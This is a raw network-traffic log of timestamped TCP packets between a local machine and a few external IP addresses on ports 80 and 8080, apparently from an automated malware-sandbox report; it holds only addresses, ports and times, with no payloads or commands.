Dec 28, 2021 05:19:04.208951950 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.208982944 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.208991051 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209022999 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209029913 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209042072 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209072113 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209114075 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209125996 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209151983 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209156990 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209191084 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209230900 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209244013 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209260941 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209270000 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209275961 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209310055 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209348917 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209361076 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209388971 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209402084 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209430933 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209467888 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209506989 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209510088 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209541082 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209546089 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209546089 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209578991 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209585905 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209602118 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209625959 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209665060 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209676981 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209706068 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209712029 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209747076 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209753036 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209784031 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209789038 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209824085 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209830046 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209861994 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.209867954 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209908009 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.209914923 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210064888 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210122108 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210175037 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210246086 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210311890 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210355997 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210367918 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210412979 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210542917 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210582972 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210613966 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210619926 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.210633039 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.210800886 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275521994 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275582075 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275623083 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275660992 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275676012 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275702000 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275717020 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275743008 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275754929 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275779963 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275799036 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275820971 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275824070 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275849104 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275857925 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275887012 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275892019 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275908947 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275933027 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.275945902 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.275971889 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276000023 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276011944 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276029110 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276052952 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276072979 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276096106 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276135921 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276163101 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276169062 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276175976 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276217937 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276230097 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276257992 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276295900 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276320934 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276335955 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276375055 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276405096 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276412010 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276412964 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276453972 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276464939 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276494026 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276535988 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276551008 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276576996 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276598930 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276614904 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276654959 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276694059 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276710033 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276731968 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276732922 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276767969 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276772976 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276813030 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276835918 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276865959 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276871920 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.276901960 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.276930094 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.277004004 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.442142963 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.505845070 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.976516008 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.040066957 CET	80	49801	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.040209055 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.040293932 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.040309906 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.103861094 CET	80	49801	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.152545929 CET	80	49801	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.152820110 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.152930975 CET	49801	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.181854963 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.216686010 CET	80	49801	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.248558998 CET	80	49802	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.251817942 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.251930952 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.251959085 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.318664074 CET	80	49802	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.365952015 CET	80	49802	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.366054058 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.366240978 CET	49802	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.402753115 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.432797909 CET	80	49802	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.472745895 CET	80	49803	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.472893953 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.473021984 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.473103046 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.542715073 CET	80	49803	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.542748928 CET	80	49803	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.593245983 CET	80	49803	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:05.593339920 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.602965117 CET	49803	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:05.671744108 CET	49809	80	192.168.2.3	188.166.28.199
Dec 28, 2021 05:19:05.672960043 CET	80	49803	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:06.701231956 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:06.703228951 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:06.703458071 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:06.765227079 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:08.834325075 CET	49809	80	192.168.2.3	188.166.28.199
Dec 28, 2021 05:19:12.499387980 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.565960884 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.566174030 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.566554070 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.566692114 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.632915020 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633008957 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633075953 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.633095980 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633124113 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633156061 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.633189917 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.633200884 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.633347034 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633434057 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.633479118 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.633856058 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.699630976 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.699664116 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.699690104 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.699764967 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.699815989 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.699862957 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.699930906 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.699955940 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.699984074 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700009108 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700069904 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.700082064 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700090885 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.700316906 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700417995 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.700423956 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700609922 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.700702906 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.766443968 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766482115 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766505957 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766598940 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.766675949 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.766694069 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766724110 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766752005 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.766801119 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:12.766890049 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767079115 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767364025 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767416954 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767782927 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767848969 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.767976046 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.768001080 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.768301010 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.833231926 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.833332062 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.833564043 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:12.833827019 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:13.314815044 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:13.314981937 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:13.315037966 CET	49811	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:13.381434917 CET	80	49811	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:14.834738970 CET	49809	80	192.168.2.3	188.166.28.199
Dec 28, 2021 05:19:28.021015882 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.089673996 CET	80	49822	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.089796066 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.089904070 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.090147018 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.157648087 CET	80	49822	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.157697916 CET	80	49822	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.206389904 CET	80	49822	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.206531048 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.241733074 CET	49822	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.309422970 CET	80	49822	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.327786922 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.400094032 CET	80	49823	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.400233030 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.400724888 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.400748014 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.472942114 CET	80	49823	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.472975969 CET	80	49823	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.518903017 CET	80	49823	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.519006014 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.519160032 CET	49823	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.591392040 CET	80	49823	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.843676090 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.906996012 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:28.907171011 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:28.907268047 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.004529953 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004614115 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004678011 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004697084 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.004740000 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004801035 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004826069 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.004920959 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004981041 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.004986048 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.005039930 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.005095959 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.005150080 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.005202055 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.005213022 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068264008 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068294048 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068314075 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068331957 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068351984 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068372965 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068392992 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068389893 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068414927 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068435907 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068455935 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068481922 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068500042 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068523884 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068538904 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068555117 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068583965 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068595886 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068614960 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068643093 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068646908 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068671942 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068696022 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068700075 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068728924 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.068782091 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.068865061 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.131783962 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131815910 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131836891 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131858110 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131877899 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131900072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131922007 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131942987 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131966114 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131989956 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.131988049 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132014036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132038116 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132041931 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132051945 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132061958 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132086039 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132091045 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132107973 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132131100 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132143021 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132153988 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132174969 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132194042 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132198095 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132214069 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132229090 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132237911 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132253885 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132263899 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132288933 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132308960 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132329941 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132332087 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132354975 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132360935 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132378101 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132400990 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132414103 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132424116 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132448912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132464886 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132472992 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132496119 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132512093 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132519960 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132543087 CET	80	49824	5.188.89.48	192.168.2.3
